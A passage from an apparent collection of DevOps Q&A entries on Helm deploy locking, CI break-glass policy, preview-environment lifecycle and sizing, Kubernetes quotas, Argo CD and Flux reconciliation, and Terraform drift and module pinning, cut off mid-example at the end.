UPDATEbackfill bloats the table and holds one long transaction. Batch by primary key. - A PITR target given as a timestamp can land after the bad statement if clocks drift. Use LSN/GTID.
- Replica lag: if you fail over to a replica, its replay position may sit behind the mark, so the restore target is unreachable there.
Verify
Staging drill: run the Job, kill it mid-Phase-B, restore to the recorded LSN, and confirm row counts match the pre-migration state. If the drill cannot restore inside the RTO, the destructive phase is not ready to ship.
Curated: · Written: · Reviewed:
Q&A-82Two production deploys ran at once and helm interleaved. What serialises them?
The thing that serialises two concurrent production deploys is a lock outside Helm, keyed on (cluster, namespace, release) and held for the whole deploy. Helm itself serialises nothing.
Helm 3's only guard is a status check on the release record. Before applying, helm upgrade reads the release and refuses if its status is pending-install, pending-upgrade or pending-rollback: the error is another operation (install/upgrade/rollback) is in progress. That is check-then-act, not a mutex. Two processes that both read deployed before either writes pending-upgrade both pass. The revision number is computed as max(existing revisions) + 1, and the record is a single Secret sh.helm.release.v1.<release>.v<revision> in the release namespace, so both processes write the same key and the last writer wins.
Worked example: release checkout in prod at revision 88, status deployed; job A ships checkout:1.9.0, job B ships checkout:1.9.1, started 40 ms apart. Timings are illustrative; the ordering is what matters.
| t | A | B |
|---|---|---|
| 0 ms | reads history: max 88, deployed → passes guard | |
| 40 ms | reads history: max 88, deployed → passes guard | |
| 90 ms | writes ...v89, pending-upgrade, manifest 1.9.0 | |
| 110 ms | writes ...v89, pending-upgrade, manifest 1.9.1: A's record is overwritten | |
| 1.2 s | applies Deployment (1.9.0) | |
| 1.3 s | applies Deployment (1.9.1) | |
| 1.35 s | applies ConfigMap (checksum B) | |
| 1.4 s | applies ConfigMap (checksum A) | |
| 2.0 s | writes ...v89, deployed, manifest 1.9.0 | |
| 2.1 s | writes ...v89, deployed, manifest 1.9.1 |
End state: helm history checkout -n prod shows exactly one revision 89 and says it is 1.9.1. The live Deployment is 1.9.1; the live ConfigMap is A's. Nothing in Helm's record shows the split, and helm rollback checkout 88 is the only clean exit.
Where the lock goes:
| Layer | Mechanism | Covers | Doesn't cover |
|---|---|---|---|
| CI | GitHub Actions concurrency group with cancel-in-progress: false | runs of that workflow in that repo | a human running helm upgrade from a laptop; a second repo deploying the same release |
| GitOps | Argo CD serialises syncs per Application (a second sync fails with "another operation is already in progress"); Flux's kustomize-controller reconciles one Kustomization at a time via its workqueue key and a single leader-elected replica | that Application / Kustomization | two Applications or two Kustomizations writing the same namespace |
| Cluster | a coordination.k8s.io/v1 Lease named after the release, acquired before helm upgrade and released after | every client that honours it | a client that doesn't; a lease whose TTL expires mid-deploy |
| Helm | the status check above | nothing concurrent | anything |
The CI lock is the cheapest and the one to start with:
jobs:
promote:
concurrency:
group: deploy-prod-checkout # repo-scoped
cancel-in-progress: false
Two things bite. First, GitHub keeps at most one pending run per group: a third deploy queued while one is running and one is pending cancels the pending one, so a deploy can vanish silently. Log the run id and assert the expected revision landed. Second, the group key is repo-scoped, so it does nothing about a second repo or a manual helm upgrade.
The lock that actually holds is a Lease in the target cluster, taken by every path (CI, GitOps, and the human) with a TTL longer than the slowest deploy and the holder identity in an annotation so the next waiter can name who blocked it. --atomic --wait does not help here; they change what happens after a failure, not who runs.
To check it: fire two deploys 40 ms apart in staging and assert (a) the second job's log shows it waited, (b) helm history gained exactly one revision, (c) the ConfigMap checksum in the live Deployment matches the image tag in the release record.
Curated: · Written: · Reviewed:
Q&A-16Sev-1, payments is down, the integration job is stuck 24 minutes. How do you skip without making skip the culture?
The first question isn't "how do I skip": it's "is the gate stuck on the change or on the infrastructure?" A job hung 24 minutes with no log output is usually a dead runner, a starved queue, or an expired token; the gate carries no information about the digest, and skipping it costs nothing. A job hung with its last log line inside the change's own code is the gate doing its job; skipping it ships the bug into a payments outage. Read the job's logs and the runner state before you touch the gate.
Assumptions: the integration job is a required pre-promote gate, the fix is already built on an immutable digest, and a second engineer is available.
Three moves, and the criteria that pick one.
| Move | Right when | Cost |
|---|---|---|
| Fix-forward: cancel and re-run on the same digest | Job hung on infra. Dead runner, queue backlog, expired token | 3–10 min, no gate skipped |
| Roll back / revert | The change in flight is the cause of the Sev-1 | You lose the fix; the incident is the change |
| Break-glass skip with mandatory replay | Fix is unrelated to the gate, the gate is infra-stuck, and the fix is time-critical | Ships an unverified digest; debt until replay |
Do not use break-glass when any of these hold: the change is the cause (roll back); the gate is failing on the change's code (the gate is right); payments is degraded rather than down (wait for the replay); or you cannot name the person who owns the replay. Most skips are a fix-forward nobody tried.
For this incident: cancel the stuck job and re-run on the same digest. If it hangs again at the same point, the change is the cause: roll back. If it hangs at a different point, or never starts, it's infra: break-glass, promote, and let the replay run when the runner pool recovers.
Mechanism. One prod-break-glass environment, two-person approval, reason required, 60-minute credentials. The promote records the digest, the skipped job, and the rollback command for that digest. The release stays marked skipped until the same digest runs the skipped job green. That marker is the trick: a skip is a state, not an absence. The next pipeline on that digest must run the skipped jobs or the release stays skipped.
Failure mode. A sticky continue-on-error: true left on the integration job after a Sev-1: 16 promotes skipped it over 11 days. The gate didn't fail: it silently stopped existing. Detect it with a check that fails when the production pointer's digest has no later green run of the skipped job.
Ledger.
| Digest | Jobs skipped | Window | Re-run |
|---|---|---|---|
| sha256:cc33 | integration | 60 min | green +18 min |
| sticky continue-on-error | all integration | 11 days | never, 16 promotes |
Skip becomes culture when it is invisible, unbounded, or unowned. The ledger makes it visible, the 60-minute credential and the skipped marker bound it, and the named replay owner gives it an owner. An undocumented skip is just how you deploy now. Counter-metric: skips per week and unrecorded skips (target zero). If you're breaking glass more than about once a week, the gate is wrong, not the process.
Curated: · Written: · Reviewed:
Q&A-73Every PR creates a full stack. 220 namespaces are still running from merged PRs. What is the lifecycle?
Assumptions I'd state before answering: one shared cluster, one namespace per PR, the PR is the ownership unit, and the platform can reach the VCS API to ask whether a PR is still open. If previews are also used for QA sign-off or demos, the TTL becomes an extendable lease rather than a fixed 3 days: that is the one assumption that changes the design.
The lifecycle, in order.
- PR opened, or first push: create namespace
pr-<number>, labelled withpr,repo,owner,created_at,expires_at, and a cost cap. Creation must be idempotent so a reopened PR recreates cleanly instead of colliding with a half-deleted namespace. - Push: redeploy by image digest, not tag, so the namespace records what actually ran.
- Idle 2 h: scale the workloads to zero if the platform supports it. The namespace and its data stay; only compute stops.
- Merge or close: delete the namespace and everything tagged with that PR, within an hour.
- TTL, 3 days: delete regardless of PR state. This is the backstop for when the VCS lookup fails or the PR lives in a repo that was archived or transferred.
- Reopen: new namespace, new TTL. Nothing is resurrected.
The janitor is a reconciliation loop, not a webhook. Webhooks get dropped during deploys and outages; a loop that runs every 10 minutes converges on its own.
# every 10 min, in the preview cluster
now=$(date +%s)
kubectl get ns -l preview=true -o json | jq -r \
'.items[] | [.metadata.name, .metadata.labels.pr, .metadata.labels.expires_at] | @tsv' |
while IFS=$'\t' read -r ns pr expires; do
exp=$(date -d "$expires" +%s)
state=$(gh pr view "$pr" --json state -q .state) # OPEN | MERGED | CLOSED
if [ "$state" != "OPEN" ] || [ "$now" -gt "$exp" ]; then
kubectl delete ns "$ns" --wait=false
fi
done
Why 220 are still up. They came from merged PRs, so either the janitor never existed or it stopped. Before deleting anything, find out which: check the janitor's last successful run, then list namespaces that carry no preview label at all. Those were created by hand or by an older template and the loop above skips them silently.
| State | Namespaces | Monthly cost |
|---|---|---|
| Open PRs | 18 | $1.4k |
| Merged PRs, janitor broken | 220 | $18k |
| Merged PR, janitor working | 0 within 1 h | — |
At roughly $82 per namespace-month, the 202 stale ones are the whole bill. Drain in waves: delete the merged ones with no public ingress first, then the rest, and rotate any credential that was reachable from a preview.
Failure modes and how you'd see them.
- Janitor crash-looping: alert when
preview_namespaces_total - open_prs_total > 5for 30 minutes. That is the alert that would have caught this at 20 namespaces instead of 220. - Label drift: namespaces created outside the template are invisible to a label selector. Detect with
kubectl get ns -l '!preview'filtered by creation time. - Resources created outside the cluster (DNS records, IAM roles, managed databases) survive namespace deletion. They need their own tag and their own reaper; the namespace delete is not a cleanup guarantee.
- Real credentials in a preview: give previews short-lived, scoped credentials so a forgotten namespace is not a standing admin password.
What I'd call settled: count of preview namespaces equals open PRs plus janitor lag, and a merged PR's namespace is gone within an hour. Until that holds on a normal week, the lifecycle is a diagram rather than a property of the system.
Curated: · Written: · Reviewed:
Q&A-74Previews run at production replica counts. Finance asks why CI is a top-three cloud bill. What do you size?
What I size
The preview's replica count and instance class, not the pipeline. A preview exists to exercise the changed path for one reviewer; production replica counts exist for peak concurrency and failure tolerance. Those are different problems, and copying the second into the first is what puts CI in the top three.
Default preview: 1 replica per service, smallest class that boots the image, fixture data, scale to zero when idle.
Why one replica is enough
Prod replica count is a function of peak QPS, the p99 SLO, and how many replicas you can lose and still serve. A preview sees one reviewer, one browser, sequential requests: concurrency 1. Replicas above 1 buy nothing except a test that the service works when horizontally scaled, which is a real need but a narrow one (below).
Scale-to-zero is where the money is. Idle previews cost nothing; the price is cold start. First request after idle pays image pull plus process start: roughly 1–3s for a Go or Node binary, 15–40s for a JVM service with a Spring context. So min replicas 0 by default, and 1 only for services where a 30-second first click breaks the review. A warm replica is not free: one c5.large at $0.085/hr is about $61/month per service, so a 20-service warm floor is ~$1.2k/month before anyone reviews anything.
Worked example (assumptions stated)
40 open PRs, each preview running the prod manifest unchanged: 12 checkout replicas → 480 pods at 1 vCPU / 2 GiB. That is 120 c5.xlarge nodes at $0.17/hr on-demand = $20.40/hr. Idle 14 h/night × 30 nights = 420 h → ~$8.6k/month, for pods nobody is hitting.
| prod | preview default | preview load/migration | |
|---|---|---|---|
| replicas | 12 | 1 | prod-shaped |
| class | c5.xlarge | smallest that boots | prod class |
| data | full | fixture subset | prod-shaped snapshot |
| idle | always on | scale to 0 | scale to 0 after 24h TTL |
When a fuller preview is worth it
Pre-release load test, DB migration rehearsal against prod-shaped data volume, perf regression gate. Those want prod-shaped replicas and data, but they are triggered deliberately, TTL'd at 24h, and cost-capped, not attached to every PR. The mistake is making the expensive shape the default.
Failure modes
- Preview inherits the prod manifest through a kustomize overlay that only patches the image tag, so replicas stay at 12. Detect with an admission policy or CI check that a preview namespace's total replicas ≤ N, plus a per-namespace cost label and budget alert that scales or deletes an over-cap namespace.
- Scale-to-zero on a service whose in-cluster dependency also scales to zero: the first request times out on the DB, not the app. Detect with a smoke request on preview creation.
- Fixture drift: shared fixtures diverge from the prod schema, preview passes, prod fails. Detect by applying the migration in CI against the fixture.
What I'd measure
Per-namespace 24-hour cost as a published number under a cap. If the preview bill rivals production, the preview is load-testing the budget, not the PR.
Curated: · Written: · Reviewed:
Q&A-99A preview Job spawned 400 pods and starved checkout in the shared cluster. What does the namespace come with?
Core answer (first 90 seconds)
Nothing. A stock Kubernetes namespace is a naming and RBAC scope plus a default ServiceAccount. It ships with no ResourceQuota, no LimitRange, no NetworkPolicy, and Pod Security Admission defaults to privileged for unlabeled namespaces. That is why the preview Job was allowed to create 400 pods: nothing in the namespace said no.
The guardrails are objects you add, and they act at admission time: the API server rejects the object before the scheduler sees it. Two do the work:
- ResourceQuota caps the aggregate:
pods: "50",requests.cpu,limits.memory,count/jobs.batch. - LimitRange sets per-container defaults and ceilings:
defaultRequest,default,max.
Mechanism
The Job object itself is admitted: quota only covers Jobs if you list count/jobs.batch. The Job controller then creates pods. Pod 51 hits the ResourceQuota admission plugin and gets:
Error from server (Forbidden): pods "preview-abc" is forbidden:
exceeded quota: preview, requested: pods=1, used: pods=50, limited: pods=50
The Job controller retries with backoff and the Job ends BackoffLimitExceeded. Quota counts only non-terminal pods, so completed pods release their slot, but a Job with parallelism: 400 wants 400 alive at once and deadlocks against a pods: 50 cap.
The interaction people miss: a quota on requests.cpu means every pod must declare requests, or admission rejects it with must specify requests.cpu. LimitRange's defaultRequest supplies them, so the two objects are complementary, not alternatives. LimitRange max caps a single pod so one container cannot consume the whole quota.
Trade-offs
Quotas are admission control, not a scheduler: they do not preempt, and they do not stop a Job that already created its pods. A shared namespace couples teams: one team's batch Job blocks another's deploy with a 403. Tight quotas fail legitimate work. When a workload genuinely needs 400 pods, better answers are a namespace per team, a dedicated node pool with taints, a PriorityClass plus preemption, or a ResourceQuota scoped to PriorityClass so high-priority pods are exempt.
Failure modes
- Quota on requests without a LimitRange → every pod rejected.
- Quota too tight → deploys fail with Forbidden, not a scheduling error.
- LimitRange
maxbelow the app's real need → OOMKilled or rejected at admission. - No NetworkPolicy → default allow-all between namespaces.
Artefact
| Object | Field | Effect |
|---|---|---|
| ResourceQuota | pods: "50" | 51st pod create → 403 Forbidden |
| ResourceQuota | requests.cpu | pods must declare requests |
| LimitRange | defaultRequest | supplies 100m/128Mi when omitted |
| LimitRange | max | caps one pod at 2 CPU |
Curated: · Written: · Reviewed:
Q&A-51Someone deleted a Service from Git by accident. Auto-sync prune removed it from production in 3 minutes. What safeguard belongs in the app spec?
Safeguard: argocd.argoproj.io/sync-options: Prune=false on the Service, and spec.syncPolicy.automated.prune: false on the Application.
Assumptions: Argo CD 2.x, automated sync, prune enabled. If prune is off, the 3-minute deletion can't happen: that's the cheapest fix, and it's the default.
What I'd say first: Argo CD reconciles Git as desired state. A manifest absent from Git isn't "missing": it's extraneous, and prune's job is to delete extraneous live resources. The Git deletion is a legitimate delete instruction, so prune executes it. The safeguard is to exclude the resource from the prune set:
apiVersion: v1
kind: Service
metadata:
name: checkout
annotations:
argocd.argoproj.io/sync-options: Prune=false
Argo CD reads that annotation from the live object, not from Git. That's the property that matters here: when the manifest is deleted from Git, the live Service still carries Prune=false, so the prune is skipped and the Service stays up.
Trace, on the sync after the Git deletion:
target = {Deployment/checkout, ConfigMap/checkout} # Service removed from Git
live = {Deployment/checkout, ConfigMap/checkout, Service/checkout}
prune set = live − target = {Service/checkout}
filter: Service/checkout has Prune=false → dropped
result: no delete
Drop the annotation and the same trace ends in delete Service/checkout.
Alternatives, and when each is the right one:
| Control | Where | Effect | Use when |
|---|---|---|---|
Prune=false | resource annotation | skips prune for that resource | Services, Ingress, PVCs: anything with an external DNS/IP contract |
automated.prune: false | Application spec.syncPolicy | no automated prune at all | prod apps; opt in per app |
Delete=false | resource annotation | survives argocd app delete | protects against Application deletion, not prune |
PruneLast=true | sync option | prunes after other resources are healthy | ordering, not prevention |
| sync window | AppProject spec.syncWindows | blocks syncs in a time range | change freezes; not per-resource |
Delete=false is the one people confuse with this. It fires only when the Application is deleted; it does nothing for a Git-driven prune.
Failure modes:
- Annotation drift. If a Helm chart doesn't template the annotation, a later
helm upgradedrops it. Detect with a policy check (Conftest or Kyverno) that every Service, Ingress and PVC carriesPrune=false. - Blanket
prune: falseon prod. Orphans accumulate (dead ConfigMaps, old Deployments) and nobody notices until the namespace is full. Detect with a periodicargocd app diffreport. - Sync window as the only guard. It delays the delete, it doesn't prevent it; the Service still disappears at the window's edge.
Verification: in a staging Application, delete the Service manifest from Git, sync, and confirm the Service is still present. Then remove the annotation and confirm the prune deletes it. That's the control.
Curated: · Written: · Reviewed:
Q&A-52Image automation writes checkout:stable into Git every time the tag moves. How do you keep GitOps from becoming a tag follower?
Assumptions: Flux v2 with image-reflector-controller and image-automation-controller, manifests carrying setter markers, and a registry that lets you push both a floating :stable and immutable version tags.
Core answer
The tag-following is not caused by the automation writing to Git. It is caused by the ImagePolicy selecting a floating tag. ImageUpdateAutomation writes whatever ImagePolicy.status.latestImage resolves to. If the policy's selector is :stable, every retag changes latestImage, the automation commits, and the cluster rolls. Git ends up downstream of the registry.
So the fix is two moves: make the policy select immutable tags, and make the marker write the digest. Then the commit names bits instead of a pointer, and a retag of :stable cannot move production because nothing selects :stable.
Mechanism
Three objects do the work:
ImageRepositoryscans tags on an interval.ImagePolicypicks one tag from that scan usingpolicy(semver, alphabetical, or numerical) plus optionalfilterTags.ImageUpdateAutomationwrites the selected image at each$imagepolicymarker and commits.
There is no "filter to digest" in ImagePolicy: it selects among tags. Digest pinning happens at the write step, through the marker suffix.
The fix
apiVersion: image.toolkit.fluxcd.io/v1beta2
kind: ImagePolicy
metadata:
name: checkout
namespace: flux-system
spec:
imageRepositoryRef:
name: checkout
policy:
semver:
range: ">=4.12.0 <5.0.0"
filterTags:
pattern: '^v(?P<version>[0-9]+\.[0-9]+\.[0-9]+)$'
extract: '$version'
Marker in the Deployment:
image: ghcr.io/acme/checkout:v4.12.7 # {"$imagepolicy": "flux-system:checkout:digest"}
The :digest suffix makes the automation write ghcr.io/acme/checkout@sha256:... rather than the tag. Now a retag of :stable changes nothing: no policy selects it, and the manifest pins a digest.
Failure modes
- Policy still selects a floating tag. The digest moves with the tag, so you have only made the commit uglier. The selector is the gate, not the marker.
filterTagspattern too loose.^v.*matches prereleases and-rcbuilds. Pin the pattern to the exact version shape you ship.- Automation commits to the branch it deploys from, with no review. A bad digest reaches prod. Point
ImageUpdateAutomation.spec.updateat a branch that requires a PR before merge.
Verification
kubectl -n flux-system get imagepolicy checkout -o jsonpath='{.status.latestImage}'shows the resolved ref.- Retag
:stablein the registry, wait one reconcile interval, and confirm nothing moved:git logunchanged andkubectl rollout statusunchanged. If either changed, a policy is still following the tag.
Curated: · Written: · Reviewed:
Q&A-61ClickOps added a security group rule. Git still describes the old SG. When do you find out?
Within 24 hours if you run a daily terraform plan against prod; at the next apply if that's the only thing that reads live state. Nothing pushes an event when someone edits a security group in the console: drift detection is pull-based, so the honest answer is "whenever your next read happens."
Mechanism: terraform plan refreshes each resource's live attributes from the provider API and diffs them against state. A rule added out-of-band shows up as an in-place update on the security group, with the new ingress block in the plan. The plan is the detection event. If your only plan runs as part of a human apply, detection and remediation collapse into the same moment, and by then the change has been live for however long the gap was.
Concrete setup: a scheduled plan on a daily cron against prod, read-only credentials, and a non-empty plan with no matching Git change opens a PR or a ticket. Don't auto-apply. The drift might be an incident mitigation someone did at 3am; reverting it automatically can take the fix away.
| Detector | Time to notice | Auto-apply |
|---|---|---|
| next human apply | the gap between applies: days to weeks | n/a, it is the apply |
| daily scheduled plan | ≤24 h | no, review the PR |
| event-driven (CloudTrail → EventBridge) | seconds | no |
Failure mode, hypothetical but typical: a 0.0.0.0/0 ingress rule added by hand to a prod security group, no scheduled plan, next apply 47 days later during a launch. The apply "fixed" it, and that's when anyone saw it. The exposure window is the gap, and the gap is set by your apply cadence, not by anything about the change.
Trade-off: event-driven detection is faster but only covers what CloudTrail records and only the API calls you write rules for; a scheduled plan is slower but catches everything the provider can read, including changes made by other tooling. For an internet-facing security group, run both.
Verification: in staging, add a rule by hand and measure the time to the plan PR. If it isn't within the interval, the schedule isn't running.
Curated: · Written: · Reviewed:
Q&A-62kubectl edit on a Deployment is still possible. GitOps will overwrite in 3 minutes. What do you do for a real incident?
First 60 seconds. Ask one thing: is the edit the fix, or a stopgap? That decides everything.
If the edit is the fix, Git is stale. Don't fight the reconciler: commit the same change to Git now (hotfix PR, merge) and let the next sync converge. Live and Git then agree, so the revert is harmless.
If the edit is a stopgap while you prepare the real fix, the reconciler is your enemy for the next few minutes. Pause it, land the Git change, resume. Argo CD: argocd app set <app> --sync-policy none. Flux: flux suspend kustomization <name>, then flux resume once Git matches live.
Never leave the edit uncommitted and unpaused. That is the race.
Why 3 minutes. Argo CD's application controller resyncs every 180s by default (--app-resync, default 180). Each cycle it diffs live manifests against the target revision in Git. With syncPolicy.automated.selfHeal: true, an OutOfSync resource is re-applied from Git, so your kubectl edit is overwritten at the next tick, up to 180s later. Without selfHeal, Argo CD only reports OutOfSync and won't revert drift until something triggers a sync: check that flag before you assume you have 3 minutes. Flux's kustomize-controller re-applies on its spec.interval (commonly 10m) and corrects drift on each apply.
Options.
| Action | Git updated | Reconciler | Result |
|---|---|---|---|
| kubectl edit, nothing else | no | running | reverted at next tick |
| edit + commit to Git | yes | running | converges, edit kept |
| edit + pause sync | no | paused | kept until resume |
| break-glass role + PR | yes | running | kept, audited |
RBAC. Humans should not hold patch/update on deployments.apps in prod. Bind that to a break-glass group only, so a normal kubectl edit fails with Forbidden and the only path is the audited one. Break-glass either opens a PR from the live spec or applies an annotated override the reconciler honours.
Failure modes. The one I've seen: someone raised replicas with kubectl edit during a sale; selfHeal reverted it 3 minutes later; they re-edited; it reverted again. Three times in one incident, each revert a fresh capacity drop. Detection is the Argo CD OutOfSync/selfHeal event plus the audit-log line for the edit. The fix is to stop treating the cluster as the source of truth mid-incident: pause, commit, resume.
Curated: · Written: · Reviewed:
Q&A-53base sets memory: 256Mi. prod overlay used to set 1Gi and the line was dropped in a merge. How do you catch it before promote?
Render the prod overlay in CI and assert the rendered container resources against a floor. A dropped overlay line is invisible in review, the patch file still looks fine, but it is visible in kustomize build overlays/prod output, where the base's 256Mi comes back.
# promote pipeline, before the promote job
- run: kustomize build overlays/prod > dist/prod.yaml
- run: kubeconform -strict dist/prod.yaml
- run: conftest test --policy policy/ dist/prod.yaml
- run: git diff --exit-code dist/prod.yaml # only if you keep a committed golden
policy/memory.rego:
package main
deny[msg] {
input.kind == "Deployment"
c := input.spec.template.spec.containers[_]
endswith(c.resources.limits.memory, "Mi")
to_number(trim_suffix(c.resources.limits.memory, "Mi")) < 1024
msg := sprintf("%s: memory limit %s below prod floor 1Gi", [c.name, c.resources.limits.memory])
}
Trace of the failure. Base sets memory: 256Mi. The prod patch set memory: 1Gi and cpu: "2". The merge dropped the memory line, so the patch now carries only cpu. kustomize build overlays/prod emits memory: 256Mi, cpu: "2": the base value survives untouched, no error, no warning, exit code 0. The Rego rule fires on 256 < 1024 and the promote job stops.
Three places the gate can live, and what each one buys:
| Gate | Catches | Misses | Right choice when |
|---|---|---|---|
Golden diff (git diff --exit-code dist/prod.yaml) | every rendered change, including ones nobody wrote a rule for | intentional changes, which now need the golden regenerated in the same PR; anything applied outside git | the overlay set is small and every rendered change deserves a human look |
| Policy floor (conftest/Rego on rendered YAML) | the invariant you care about, however it got broken | anything you didn't write a rule for | many overlays share invariants: memory floor, no :latest, runAsNonRoot |
| Admission controller (Kyverno / OPA Gatekeeper) | changes that never went through CI: hotfixes, kubectl apply, another team's chart | nothing before promote; it rejects at rollout, so the failure surfaces in the cluster, not the PR | you cannot guarantee all changes go through the pipeline |
Deciding criteria: golden diff when the overlay set is small; policy floor when the invariants are stable and the overlays are many; admission as a backstop, never as the only gate, because it moves detection from the PR to the rollout.
Failure modes worth naming:
- Golden regenerated blindly. A
make goldenstep in the same PR turns the diff gate into a rubber stamp. Detect: the golden file and the overlay change land in the same commit. Put CODEOWNERS ondist/so it needs a second reviewer. - Policy written against the base value. A rule asserting
memory >= 256Mipasses on the broken render. Detect: keep a fixture overlay deliberately below the floor and assert CI fails on it; if the fixture is green, the rule is wrong. - Patch that no longer matches. Rename the container in base and the strategic-merge patch adds a second container instead of patching the first; the render is valid YAML with two containers. Detect: assert container names and count in the same policy.
- Admission policy in audit mode. Kyverno's
validationFailureAction: Auditreports, it does not block. Detect: read the policy's action field and test it with a known-bad manifest.
Curated: · Written: · Reviewed:
Q&A-49Git says replicas: 3. The cluster has 12 because someone scaled during an incident. What should the reconciler do, and what should humans do?
First 60–120 seconds
The reconciler should converge the cluster to Git: 12 → 3. That is the contract, and it is not a bug. If the Argo CD Application has syncPolicy.automated.selfHeal: true, the app controller sees the live Deployment's spec.replicas differ from the manifest and patches it back on the next resync: default timeout.reconciliation is 180s. Flux has no selfHeal flag; the kustomize-controller re-applies the Kustomization on its spec.interval (commonly 10m), so drift is corrected then. Either way the revert lands within one resync interval, not instantly.
The humans' half is the harder one. An incident scale that exists only on the cluster is drift by definition, and reverting it mid-incident is how a load spike becomes an outage. Two legitimate moves:
- Make it a Git change. Open a PR bumping
replicasto 12, merge it, let the reconciler apply it. Git stays the last writer; the scale is auditable and survives the next resync. - Break-glass with a TTL. If the incident can't wait for review, scale via
kubectland record an override that expires. Argo CD ships no TTL override natively; teams implement it with a secondApplicationor anignoreDifferencesentry that a job removes after N hours. Flux users oftenflux suspend kustomization <name>and resume it by timer or by hand.
The trap: HPA
If an HPA owns spec.replicas, the reconciler and the HPA fight: Argo CD reverts the HPA's scale-up, the HPA scales again, and you get a flap. The fix is to stop managing the replica count in Git for that workload: add an ignoreDifferences rule on /spec/replicas scoped to managedFieldsManagers: [kube-controller-manager], so Argo CD ignores fields the HPA owns. Git then owns the HPA's min/max, not the replica count.
| Situation | Reconciler does | Humans do |
|---|---|---|
| selfHeal on, no HPA | 12 → 3 within 180s | PR the 12, or accept the revert |
| HPA owns replicas | flaps against the HPA | ignoreDifferences on /spec/replicas |
Break-glass kubectl | reverts on next resync | record override + TTL, then PR |
| Flux, interval 10m | reverts at next reconcile | suspend the Kustomization, then PR |
Failure mode I've seen
Auto-sync with selfHeal reset replicas from 12 back to 3 during a load spike, because the 12 lived only on the cluster. Checkout returned 500s for 9 minutes until someone re-scaled and disabled selfHeal. Detect it by alerting on kube_deployment_spec_replicas diverging from the Git manifest, and on how long an Argo CD Application sits OutOfSync.
How I'd verify
Drill: scale in Git, confirm the reconciler matches. Then kubectl scale without Git and confirm it is reverted within one resync interval, or blocked by policy. If Git is not the last writer, it is a wiki.
Curated: · Written: · Reviewed:
Q&A-95Engineers have kubectl edit in prod "for incidents". 80% of prod writes last month were kubectl, not GitOps. What is the default path?
The default path is the pipeline. If 80% of last month's prod writes were kubectl, then kubectl is the default path and the pipeline is a backup copy: that is the finding, not the setup. The job is to make the pipeline the only standing write path and turn kubectl into a metered exception, not to declare GitOps the default while humans keep editing live objects.
Mechanism: who holds write
RBAC decides the default, not intent. In prod namespaces, humans get view (or edit only in non-prod). The write verbs (create, update, patch, delete) are held by the CI/GitOps service account. There is no standing human write binding.
Break-glass is a time-boxed binding, not a permanent role. A controller (or the CI job itself) creates the RoleBinding for the on-call user, and deletes it after 60 minutes; the create and delete both land in the audit log. Short-lived OIDC tokens with an expiring group claim achieve the same thing without a controller. Either way the grant is an event, not a role you keep.
Why the pipeline must be the default
kubectl edit mutates the live object and leaves Git untouched. The rendered manifest becomes fiction. The failure I have seen: 80% of writes were kubectl, so a "rollback" via Git rolled the cluster to a state nobody had been running. The last-known-good in Git was weeks stale. The pipeline is the default because it is the only path that records intent, the rendered output, and the rollback in one place.
Detection
Two sources, both real:
metadata.managedFieldson the object names the writer. Akubectl editrecords managerkubectl-edit; the GitOps controller records its own manager name. Diffing managers tells you who last wrote.- kube-apiserver audit log with a policy at
level: RequestResponsefor write verbs in prod namespaces. That is the source for the ratio.
| Path | Standing write? | Recorded where |
|---|---|---|
| CI / GitOps | yes | Git commit + rendered manifest |
kubectl break-glass | no, time-boxed | audit log + managedFields |
| Target | — | GitOps ≥ 95%, break-glass ≤ 5% |
Reconciling back
A break-glass write is not finished until it is back in Git. Either commit the same change and let the controller converge, or revert the live object and let the controller re-apply. Argo CD self-heal and flux reconcile both do this; without it, the next reconcile silently reverts the incident fix. The audit record (digest, the gate that ran, the rollback command) is part of the change, stored beside the promote job, not a wiki page written afterwards.
I would not call it fixed until the audit ratio shows human writes under a small budget (say 5% of mutations) and each one is a break-glass record.
Curated: · Written: · Reviewed:
Q&A-59module "vpc" { source = "git::https://github.com/acme/terraform-vpc.git" } with no ref. Monday and Thursday applied different VPCs. What do you pin?
Pin ref to an immutable commit SHA, or a tag you control.
module "vpc" {
source = "git::https://github.com/acme/terraform-vpc.git?ref=v1.8.2"
# or, stronger: ?ref=9f3c1a7e2b... (full 40-char SHA)
}
Without ref, Terraform resolves the repository's default branch at terraform init time. Monday's init and Thursday's init cloned different commits, so the same root config produced different VPCs. That is the entire bug.
Mechanism
git:: sources are cloned into .terraform/modules/vpc during init. No ref means HEAD of the default branch. Terraform records nothing about which commit it got: the dependency lock file (.terraform.lock.hcl) pins provider versions and checksums, and registry module versions, but not git commits. So the commit that actually ran is invisible in your repo.
Trace of the reported failure:
- Mon 09:00.
terraform initclonesmain@a1b2c3d; apply creates the VPC with its peering. - Wed: a PR merges to the module's
main, replacing the peering resource. - Thu 09:00.
terraform initon the unchanged root config clonesmain@e4f5a6b; apply destroys the peering prod still needed.
Same .tf, two different modules, no diff in the app repo to review.
What to pin
| Pin | Immutable? | Notes |
|---|---|---|
?ref=<40-char SHA> | Yes | Survives tag moves. Use for prod. |
?ref=v1.8.2 | Only if tags are protected | Readable; a force-push to the tag changes what you get. |
Registry version = "~> 5.0" | Selection recorded in lock file | Same idea, different mechanism. |
Cost of pinning
You stop receiving module fixes automatically. Every bump becomes a PR: Renovate or Dependabot can open it, but a human reviews the module's changelog. Stale pins accumulate and drift from the module's supported versions. Floating is defensible only for a throwaway sandbox, or a module that lives in the same repo and commit as the caller.
Detection
- CI grep: fail the build on any
source = "git::lacking?ref=. - Treat
terraform init -upgradeas a change: it will move an unpinned module. - Compare the checked-out commit under
.terraform/modules/vpcbetween plan runs; a change there with no config change is the signal.
Pin the SHA, bump it through a reviewed PR, and the Monday/Thursday divergence cannot happen.
Curated: · Written: · Reviewed:
Q&A-56On-call ran terraform apply -target=aws_security_group.checkout to "go faster". The next full apply destroyed 14 unrelated objects. Why?
Core answer
-target destroys nothing by itself. It scopes a plan and apply to one node and its dependencies. The 14 destroys were already latent in the workspace; the targeted apply just never showed you the plan that contained them.
A full terraform apply plans a destroy for every resource that is in state but not in config. That is the precondition. Terraform's plan is a diff between desired state (config) and current state (the state file). A resource with a state entry and no matching config block has desired = absent, so the diff is a destroy. Common ways that divergence appears:
- Resources were removed from config (deleted, renamed, or moved to another stack or module) but the state entry was never cleaned up.
- Resources were created out-of-band (console, another tool) and imported, then the config that referenced them was dropped.
- A
for_eachorcountkey changed, so Terraform sees the old keys as orphans.
-target hides this because the plan is filtered to the targeted subgraph. The orphaned nodes are still in the graph, but they are not in the output you read and they are not applied. The SG change looks clean. The next full apply refreshes, rebuilds the full plan, and now the destroy nodes are visible and executed.
Worked example
State holds 14 aws_network_interface entries from a stack that was migrated to a separate workspace; the config no longer declares them.
$ terraform plan -target=aws_security_group.checkout
